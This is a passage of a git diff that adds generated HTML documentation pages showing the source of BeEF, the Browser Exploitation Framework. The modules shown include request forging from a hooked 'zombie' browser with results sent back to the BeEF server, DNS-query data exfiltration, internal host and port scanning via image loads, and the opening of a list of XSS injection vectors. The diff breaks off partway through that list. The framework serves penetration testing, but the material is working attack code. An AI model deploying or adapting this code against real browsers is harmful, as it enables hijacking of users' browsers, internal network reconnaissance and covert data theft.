+     * XHR-polling mechanism. If WebSockets are used, the data is sent
+     * back to BeEF straight away.
+     */
+    flush: function (callback) {
+        if (this.cmd_queue.length > 0) {
+            var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
+            this.cmd_queue.length = 0;
+            this.sid_count++;
+            var stream = new this.stream();
+            stream.id = this.sid_count;
+            var pad = stream.get_base_url_length() + this.pad;
+            //cant continue if chop amount is too low
+            if ((this.chop - pad) > 0) {
+                var data = this.chunk(data, (this.chop - pad));
+                for (var i = 1; i <= data.length; i++) {
+                    var packet = new this.packet();
+                    packet.id = i;
+                    packet.data = data[(i - 1)];
+                    stream.packets.push(packet);
+                }
+                stream.pc = stream.packets.length;
+                this.push(stream, callback);
+            }
+        } else {
+            if ((typeof callback != 'undefined') && (callback != null)) {
+                callback();
+            }
+        }
+    },
+
+    /**
+     * Split the input data into chunk lengths determined by the amount parameter.
+     * @param {String} str the input data
+     * @param {Integer} amount chunk length
+     */
+    chunk: function (str, amount) {
+        if (typeof amount == 'undefined') n = 2;
+        return str.match(RegExp('.{1,' + amount + '}', 'g'));
+    },
+
+    /**
+     * Push the input stream back to the BeEF server-side components.
+     * It uses beef.net.request to send back the data.
+     * @param {Object} stream the stream object to be sent back.
+     */
+    push: function (stream, callback) {
+        //need to implement wait feature here eventually
+        if (typeof callback === 'undefined') {
+            callback = null;
+        }
+        for (var i = 0; i < stream.pc; i++) {
+            var cb = null;
+            if (i == (stream.pc - 1)) {
+                cb = callback;
+            }
+            this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, 
+                    stream.get_packet_data(), 10, 'text', cb);
+        }
+    },
+
+    /**
+     * Performs http requests
+     * @param {String} scheme HTTP or HTTPS
+     * @param {String} method GET or POST
+     * @param {String} domain bindshell.net, 192.168.3.4, etc
+     * @param {Int} port 80, 5900, etc
+     * @param {String} path /path/to/resource
+     * @param {String} anchor this is the value that comes after the # in the URL
+     * @param {String} data This will be used as the query string for a GET or post data for a POST
+     * @param {Int} timeout timeout the request after N seconds
+     * @param {String} dataType specify the data return type expected (ie text/html/script)
+     * @param {Function} callback call the callback function at the completion of the method
+     *
+     * @return {Object} this object contains the response details
+     */
+    request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
+        //check if same domain or cross domain
+        var cross_domain = true;
+        if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
+            if (document.location.port == "" || document.location.port == null) {
+                cross_domain = !(port == "80" || port == "443");
+            }
+        }
+
+        //build the url
+        var url = "";
+        if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
+            url = path;
+        } else {
+            url = scheme + "://" + domain;
+            url = (port != null) ? url + ":" + port : url;
+            url = (path != null) ? url + path : url;
+            url = (anchor != null) ? url + "#" + anchor : url;
+        }
+
+        //define response object
+        var response = new this.response;
+        response.was_cross_domain = cross_domain;
+        var start_time = new Date().getTime();
+
+        /*
+         * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
+         * This will turn POSTs into GETs for remote-domain requests.
+         */
+        if (method == "POST") {
+            $j.ajaxSetup({
+                dataType: dataType
+            });
+        } else {
+            $j.ajaxSetup({
+                dataType: 'script'
+            });
+        }
+
+        //build and execute the request
+        $j.ajax({type: method,
+            url: url,
+            data: data,
+            timeout: (timeout * 1000),
+
+            //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
+            beforeSend: function (xhr) {
+                if (method == "POST") {
+                    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
+                }
+            },
+            success: function (data, textStatus, xhr) {
+                var end_time = new Date().getTime();
+                response.status_code = xhr.status;
+                response.status_text = textStatus;
+                response.response_body = data;
+                response.port_status = "open";
+                response.was_timedout = false;
+                response.duration = (end_time - start_time);
+            },
+            error: function (jqXHR, textStatus, errorThrown) {
+                var end_time = new Date().getTime();
+                response.response_body = jqXHR.responseText;
+                response.status_code = jqXHR.status;
+                response.status_text = textStatus;
+                response.duration = (end_time - start_time);
+                response.port_status = "open";
+            },
+            complete: function (jqXHR, textStatus) {
+                response.status_code = jqXHR.status;
+                response.status_text = textStatus;
+                response.headers = jqXHR.getAllResponseHeaders();
+                // determine if TCP port is open/closed/not-http
+                if (textStatus == "timeout") {
+                    response.was_timedout = true;
+                    response.response_body = "ERROR: Timed out\n";
+                    response.port_status = "closed";
+                } else if (textStatus == "parsererror") {
+                    response.port_status = "not-http";
+                } else {
+                    response.port_status = "open";
+                }
+            }
+        }).always(function () {
+                if (callback != null) {
+                    callback(response);
+                }
+            });
+        return response;
+    },
+
+    /**
+     * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
+     *  - requestid: needed on the callback
+     *  - allowCrossDomain: set cross-domain requests as allowed or blocked
+     *
+     * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
+     * Example usage:
+     * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
+     *   true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
+     *   alert(response.response_body)})
+     */
+    forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
+
+        if (domain == "undefined" || path == "undefined") {
+            beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
+            return;
+        }
+
+        // check if same domain or cross domain
+        var cross_domain = true;
+        if (document.domain == domain && document.location.protocol == scheme + ':') {
+            if (document.location.port == "" || document.location.port == null) {
+                cross_domain = !(port == "80" || port == "443");
+            } else {
+                if (document.location.port == port) cross_domain = false;
+            }
+        }
+
+        // build the url
+        var url = "";
+        if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
+            url = path;
+        } else {
+            url = scheme + "://" + domain;
+            url = (port != null) ? url + ":" + port : url;
+            url = (path != null) ? url + path : url;
+            url = (anchor != null) ? url + "#" + anchor : url;
+        }
+
+        // define response object
+        var response = new this.response;
+        response.was_cross_domain = cross_domain;
+        var start_time = new Date().getTime();
+
+        // if cross-domain requests are not allowed and the request is cross-domain
+        // don't proceed and return
+        if (allowCrossDomain == "false" && cross_domain) {
+            beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
+            response.status_code = -1;
+            response.status_text = "crossdomain";
+            response.port_status = "crossdomain";
+            response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
+            response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
+            if (callback != null) callback(response, requestid);
+            return response;
+        }
+
+        // if the request was cross-domain from a HTTPS origin to HTTP
+        // don't proceed and return
+        if (document.location.protocol == 'https:' && scheme == 'http') {
+            beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
+            response.status_code = -1;
+            response.status_text = "mixedcontent";
+            response.port_status = "mixedcontent";
+            response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
+            response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
+            if (callback != null) callback(response, requestid);
+            return response;
+        }
+
+        /*
+         * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
+         * This will turn POSTs into GETs for remote-domain requests.
+         */
+        if (method == "POST") {
+            $j.ajaxSetup({
+                dataType: dataType
+            });
+        } else {
+            $j.ajaxSetup({
+                dataType: 'script'
+            });
+        }
+
+        // this is required for bugs in IE so data can be transferred back to the server
+        if (beef.browser.isIE()) {
+            dataType = 'script'
+        }
+
+        $j.ajax({type: method,
+            dataType: dataType,
+            url: url,
+            headers: headers,
+            timeout: (timeout * 1000),
+
+            //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
+            beforeSend: function (xhr) {
+                if (method == "POST") {
+                    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
+                }
+            },
+
+            data: data,
+
+            // http server responded successfully
+            success: function (data, textStatus, xhr) {
+                var end_time = new Date().getTime();
+                response.status_code = xhr.status;
+                response.status_text = textStatus;
+                response.response_body = data;
+                response.was_timedout = false;
+                response.duration = (end_time - start_time);
+            },
+
+            // server responded with a http error (403, 404, 500, etc)
+            // or server is not a http server
+            error: function (xhr, textStatus, errorThrown) {
+                var end_time = new Date().getTime();
+                response.response_body = xhr.responseText;
+                response.status_code = xhr.status;
+                response.status_text = textStatus;
+                response.duration = (end_time - start_time);
+            },
+
+            complete: function (xhr, textStatus) {
+                // cross-domain request
+                if (cross_domain) {
+
+                    response.port_status = "crossdomain";
+
+                    if (xhr.status != 0) {
+                        response.status_code = xhr.status;
+                    } else {
+                        response.status_code = -1;
+                    }
+
+                    if (textStatus) {
+                        response.status_text = textStatus;
+                    } else {
+                        response.status_text = "crossdomain";
+                    }
+
+                    if (xhr.getAllResponseHeaders()) {
+                        response.headers = xhr.getAllResponseHeaders();
+                    } else {
+                        response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
+                    }
+
+                    if (!response.response_body) {
+                        response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
+                    }
+
+                } else {
+                    // same-domain request
+                    response.status_code = xhr.status;
+                    response.status_text = textStatus;
+                    response.headers = xhr.getAllResponseHeaders();
+
+                    // determine if TCP port is open/closed/not-http
+                    if (textStatus == "timeout") {
+                        response.was_timedout = true;
+                        response.response_body = "ERROR: Timed out\n";
+                        response.port_status = "closed";
+                        /*
+                         * With IE we need to explicitly set the dataType to "script",
+                         * so there will be always parse-errors if the content is != javascript
+                         * */
+                    } else if (textStatus == "parsererror") {
+                        response.port_status = "not-http";
+                        if (beef.browser.isIE()) {
+                            response.status_text = "success";
+                            response.port_status = "open";
+                        }
+                    } else {
+                        response.port_status = "open";
+                    }
+                }
+                callback(response, requestid);
+            }
+        });
+        return response;
+    },
+
+    /** this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
+     *  http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
+     */
+    clean: function (r) {
+        if (this.array_has_string_key(r)) {
+            var obj = {};
+            for (var key in r)
+                obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
+            return obj;
+        }
+        return r;
+    },
+
+    /** Detects if an array has a string key */
+    array_has_string_key: function (arr) {
+        if ($j.isArray(arr)) {
+            try {
+                for (var key in arr)
+                    if (isNaN(parseInt(key))) return true;
+            } catch (e) {
+            }
+        }
+        return false;
+    },
+
+    /**
+     * Checks if the specified port is valid
+     */
+    is_valid_port: function (port) {
+      if (isNaN(port)) return false;
+      if (port > 65535 || port < 0) return false;
+      return true;
+    },
+
+    /**
+     * Checks if the specified IP address is valid
+     */
+    is_valid_ip: function (ip) {
+      if (ip == null) return false;
+      var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
+      if (ip_match == null) return false;
+      return true;
+    },
+
+    /**
+     * Checks if the specified IP address range is valid
+     */
+    is_valid_ip_range: function (ip_range) {
+      if (ip_range == null) return false;
+      var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
+      if (range_match == null || range_match[1] == null) return false;
+      return true;
+    },
+
+    /**
+     * Sends back browser details to framework, calling beef.browser.getDetails()
+     */
+    browser_details: function () {
+        var details = beef.browser.getDetails();
+        var res = null;
+        details['HookSessionID'] = beef.session.get_hook_session_id();
+        this.send('/init', 0, details);
+        if(details != null)
+            res = true;
+
+        return res;
+    }
+
+};
+
+
+beef.regCmp('beef.net');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_connection.js.html b/docs/net_connection.js.html new file mode 100644 index 000000000..c94bd0cea --- /dev/null +++ b/docs/net_connection.js.html @@ -0,0 +1,101 @@ + + + + + JSDoc: Source: net/connection.js + + + + + + + + + + +
+ +

Source: net/connection.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * beef.net.connection - wraps Mozilla's Network Information API
+ * https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
+ * https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
+ * @namespace beef.net.connection
+ */
+beef.net.connection = {
+
+  /**
+   * Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
+   * @example beef.net.connection.type()
+   * @return {String} connection type or 'unknown'.
+   */
+  type: function () {
+    try {
+      var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+      var type = connection.type;
+      if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
+    } catch(e) {
+      beef.debug("Error retrieving connection type: " + e.message);
+      return 'unknown';
+    }
+  },
+
+  /** 
+   * Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
+   * @example beef.net.connection.downlinkMax()
+   * @return {String} downlink max or 'unknown'.
+   */
+  downlinkMax: function () {
+    try {
+      var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+      var max = connection.downlinkMax;
+      if (max) return max; else return 'unknown';
+    } catch(e) {
+      beef.debug("Error retrieving connection downlink max: " + e.message);
+      return 'unknown';
+    }
+  }
+
+};
+
+beef.regCmp('beef.net.connection');
+
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_cors.js.html b/docs/net_cors.js.html new file mode 100644 index 000000000..a3d8b8c9c --- /dev/null +++ b/docs/net_cors.js.html @@ -0,0 +1,134 @@ + + + + + JSDoc: Source: net/cors.js + + + + + + + + + + +
+ +

Source: net/cors.js

+ + + + + + +
+
+
/**
+ * @namespace beef.net.cors
+ */
+
+beef.net.cors = {
+
+  handler: "cors",
+
+    /**
+     * Response Object - used in the beef.net.request callback
+     */
+    response:function () {
+        this.status  = null;      // 500, 404, 200, 302, etc
+        this.headers = null;      // full response headers
+        this.body    = null;      // full response body
+    },
+
+    /**
+     * Make a cross-origin request using CORS
+     *
+     * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
+     * @param url {String} url
+     * @param data {String} request body
+     * @param timeout {Integer} request timeout in milliseconds
+     * @param callback {Function} function to callback on completion
+     */
+    request: function(method, url, data, timeout, callback) {
+
+    var xhr;
+    var response = new this.response;
+
+    if (XMLHttpRequest) {
+        xhr = new XMLHttpRequest();
+
+        if ('withCredentials' in xhr) {
+            xhr.open(method, url, true);
+            xhr.timeout = parseInt(timeout, 10);
+            xhr.onerror = function() {
+            };
+            xhr.onreadystatechange = function() {
+                if (xhr.readyState === 4) {
+                    response.headers = this.getAllResponseHeaders()
+                    response.body    = this.responseText;
+                    response.status  = this.status;
+                    if (!!callback) {
+                        if (!!response) {
+                            callback(response);
+                        } else { 
+                            callback('ERROR: No Response. CORS requests may be denied for this resource.')
+                        }
+                    }
+                }
+            };
+            xhr.send(data);
+        }
+    } else if (typeof XDomainRequest != "undefined") {
+        xhr = new XDomainRequest();
+        xhr.open(method, url);
+        xhr.onerror = function() {
+        };
+        xhr.onload = function() {
+            response.headers = this.getAllResponseHeaders()
+            response.body    = this.responseText;
+            response.status  = this.status;
+            if (!!callback) {
+                if (!!response) {
+                    callback(response);
+                } else {
+                    callback('ERROR: No Response. CORS requests may be denied for this resource.')
+                }
+            }
+        };
+        xhr.send(data);
+    } else {
+        if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
+    }
+
+    }
+
+};
+
+beef.regCmp('beef.net.cors');
+
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_dns.js.html b/docs/net_dns.js.html new file mode 100644 index 000000000..bba1c8d68 --- /dev/null +++ b/docs/net_dns.js.html @@ -0,0 +1,148 @@ + + + + + JSDoc: Source: net/dns.js + + + + + + + + + + +
+ +

Source: net/dns.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * 
+ * request object structure:
+ * + msgId: {Integer} Unique message ID for the request.
+ * + domain: {String} Remote domain to retrieve the data.
+ * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
+ * + callback: {Function} Callback function to receive the number of requests sent.
+ * @namespace beef.net.dns
+ */
+
+beef.net.dns = {
+
+	handler: "dns",
+    /**
+     * 
+     * @param msgId 
+     * @param data 
+     * @param domain 
+     * @param callback 
+     */
+	send: function(msgId, data, domain, callback) {
+
+        var encode_data = function(str) {
+            var result="";
+            for(i=0;i<str.length;++i) {
+                result+=str.charCodeAt(i).toString(16).toUpperCase();
+            }
+            return result;
+        };
+
+        var encodedData = encodeURI(encode_data(data));
+
+        beef.debug(encodedData);
+        beef.debug("_encodedData_ length: " + encodedData.length);
+
+        // limitations to DNS according to RFC 1035:
+        // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
+        // o Domain names are limited to 255 characters in length (including dots)
+        // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
+        // o Subdomains are limited to 63 characters in length (including the trailing dot)
+
+        // DNS request structure:
+        // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
+      //max_length: 3.   3   .   3   . 63 . x
+
+        // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
+        // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
+        var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
+        var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
+        var max_data_segment_length = 63; // by RFC
+
+        beef.debug("max_data_segment_length: " + max_data_segment_length);
+
+        var dom = document.createElement('b');
+
+        String.prototype.chunk = function(n) {
+            if (typeof n=='undefined') n=100;
+            return this.match(RegExp('.{1,'+n+'}','g'));
+        };
+
+        var sendQuery = function(query) {
+            var img = new Image;
+            //img.src = "http://"+query;
+            img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
+            img.onload = function() { dom.removeChild(this); }
+            img.onerror = function() { dom.removeChild(this); }
+            dom.appendChild(img);
+
+            //experimental
+            //setTimeout(function(){dom.removeChild(img)},1000);
+        };
+
+        var segments = encodedData.chunk(max_data_segment_length);
+
+        var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
+
+        beef.debug(segments.length);
+
+        for (var seq=1; seq<=segments.length; seq++) {
+            sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
+        }
+
+		// callback - returns the number of queries sent
+		if (!!callback) callback(segments.length);
+
+	}
+
+};
+
+beef.regCmp('beef.net.dns');
+
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_local.js.html b/docs/net_local.js.html new file mode 100644 index 000000000..c262ee815 --- /dev/null +++ b/docs/net_local.js.html @@ -0,0 +1,138 @@ + + + + + JSDoc: Source: net/local.js + + + + + + + + + + +
+ +

Source: net/local.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides networking functions for the local/internal network of the zombie.
+ * @namespace beef.net.local
+ */
+beef.net.local = {
+	
+	sock: false,
+	checkJava: false,
+	hasJava: false,
+	
+	/**
+	 * Initializes the java socket. We have to use this method because
+	 * some browsers do not have java installed or it is not accessible.
+	 * in which case creating a socket directly generates an error. So this code
+	 * is invalid:
+	 * sock: new java.net.Socket();
+	 */
+	initializeSocket: function() {
+		if(this.checkJava){	
+			if(!beef.browser.hasJava()) {
+				this.checkJava=True;
+				this.hasJava=False;
+				return -1;
+			}else{
+				this.checkJava=True;
+				this.hasJava=True;
+				return 1;
+			}
+		}
+		else{
+			if(!this.hasJava) return -1;
+			else{	
+				try {
+					this.sock = new java.net.Socket();
+				} catch(e) {
+					return -1;
+				}
+				return 1;
+			}
+		}
+	},
+	
+	/**
+	 * Returns the internal IP address of the zombie.
+	 * @return {String} the internal ip of the zombie.
+	 * @error return -1 if the internal ip cannot be retrieved.
+	 */
+	getLocalAddress: function() {
+		if(!this.hasJava) return false;
+		
+		this.initializeSocket();
+		
+		try {
+			this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
+			this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
+			
+			return this.sock.getLocalAddress().getHostAddress();
+		} catch(e) { return false; }
+	},
+	
+	/**
+	 * Returns the internal hostname of the zombie.
+	 * @return {String} the internal hostname of the zombie.
+	 * @error return -1 if the hostname cannot be retrieved.
+	 */
+	getLocalHostname: function() {
+		if(!this.hasJava) return false;
+		
+		this.initializeSocket();
+		
+		try {
+			this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
+			this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
+			
+			return this.sock.getLocalAddress().getHostName();
+		} catch(e) { return false; }
+	}
+	
+};
+
+beef.regCmp('beef.net.local');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_portscanner.js.html b/docs/net_portscanner.js.html new file mode 100644 index 000000000..6369bb2ec --- /dev/null +++ b/docs/net_portscanner.js.html @@ -0,0 +1,117 @@ + + + + + JSDoc: Source: net/portscanner.js + + + + + + + + + + +
+ +

Source: net/portscanner.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides port scanning functions for the zombie. A mod of pdp's scanner
+ * 
+ * Version: '0.1',
+ * author: 'Petko Petkov',
+ * homepage: 'http://www.gnucitizen.org'
+ * @namespace beef.net.portscanner
+ */
+
+beef.net.portscanner = {
+
+		/**
+		 * 
+		 * @param callback 
+		 * @param target 
+		 * @param port 
+		 * @param timeout 
+		 */
+		scanPort: function(callback, target, port, timeout) 
+		{
+			var timeout = (timeout == null)?100:timeout;
+			var img = new Image();
+
+			img.onerror = function () {
+				if (!img) return;
+				img = undefined;
+				callback(target, port, 'open');
+			};
+
+			img.onload  = img.onerror;
+			
+			img.src = 'http://' + target + ':' + port;
+
+			setTimeout(function () {
+				if (!img) return;
+				img = undefined;
+				callback(target, port, 'closed');
+			}, timeout);
+
+		},
+		/**
+		 * 
+		 * @param callback 
+		 * @param target 
+		 * @param ports_str 
+		 * @param timeout 
+		 */
+		scanTarget: function(callback, target, ports_str, timeout)
+		{
+			var ports = ports_str.split(",");
+
+			for (index = 0; index < ports.length; index++) {
+				this.scanPort(callback, target, ports[index], timeout);
+			};
+
+		}
+};
+
+beef.regCmp('beef.net.portscanner');
+
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_requester.js.html b/docs/net_requester.js.html new file mode 100644 index 000000000..6722ad6db --- /dev/null +++ b/docs/net_requester.js.html @@ -0,0 +1,92 @@ + + + + + JSDoc: Source: net/requester.js + + + + + + + + + + +
+ +

Source: net/requester.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * request object structure:
+ * + method: {String} HTTP method to use (GET or POST).
+ * + host: {String} hostname
+ * + query_string: {String} The query string is a part of the URL which is passed to the program.
+ * + uri: {String} The URI syntax consists of a URI scheme name.
+ * + headers: {Array} contain the operating parameters of the HTTP request. 
+ * @namespace beef.net.requester
+ */
+beef.net.requester = {
+	
+	handler: "requester",
+	/**
+     * 
+     * @param {array} requests_array 
+     */
+	send: function(requests_array) {
+        for(var i=0; i<requests_array.length; i++){
+            request = requests_array[i];
+            if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';
+            beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);
+            beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id,
+                                       function(res, requestid) { beef.net.send('/requester', requestid, {
+                                           response_data: res.response_body,
+                                           response_status_code: res.status_code,
+                                           response_status_text: res.status_text,
+					                       response_port_status: res.port_status,
+                                           response_headers: res.headers});
+                                       }
+                                 );
+        }
+    }
+};
+
+beef.regCmp('beef.net.requester');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_xssrays.js.html b/docs/net_xssrays.js.html new file mode 100644 index 000000000..0c04398b1 --- /dev/null +++ b/docs/net_xssrays.js.html @@ -0,0 +1,550 @@ + + + + + JSDoc: Source: net/xssrays.js + + + + + + + + + + +
+ +

Source: net/xssrays.js

+ + + + + + +
+
+
/*
+ * XSS Rays
+ * Legal bit:
+ * Do not remove this notice.
+ * Copyright (c) 2009 by Gareth Heyes
+ * Programmed for Microsoft
+ * gareth --at-- businessinfo -dot- co |dot| uk
+ * Version 0.5.5
+ *
+ * This license governs use of the accompanying software. If you use the software, you
+ * accept this license. If you do not accept the license, do not use the software.
+ * 1. Definitions
+ * The terms "reproduce," "reproduction," "derivative works," and "distribution" have the
+ * same meaning here as under U.S. copyright law.
+ * A "contribution" is the original software, or any additions or changes to the software.
+ * A "contributor" is any person that distributes its contribution under this license.
+ * "Licensed patents" are a contributor's patent claims that read directly on its contribution.
+ * 2. Grant of Rights
+ * (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.
+ * (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.
+ * 3. Conditions and Limitations
+ * (A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.
+ * (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.
+ * (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.
+ * (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.
+ * (E) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.
+ */
+
+/**
+ * XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru'
+ * The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),
+ * if the vulnerability is triggered the JS code vector will contact back BeEF.
+ * Other aspects of the original code have been simplified and improved.
+ * @namespace beef.net.xssrays
+ */
+beef.net.xssrays = {
+    handler: "xssrays",
+    completed:0,
+    totalConnections:0,
+
+    // BeEF variables
+    xssraysScanId : 0,
+    hookedBrowserSession: "",
+    beefRayUrl: "",
+    // the following variables are overridden via BeEF, in the Scan Config XssRays sub-tab. 
+    crossDomain: false,
+    cleanUpTimeout:5000,
+
+    //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
+    vectors: [
+
+				  {input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
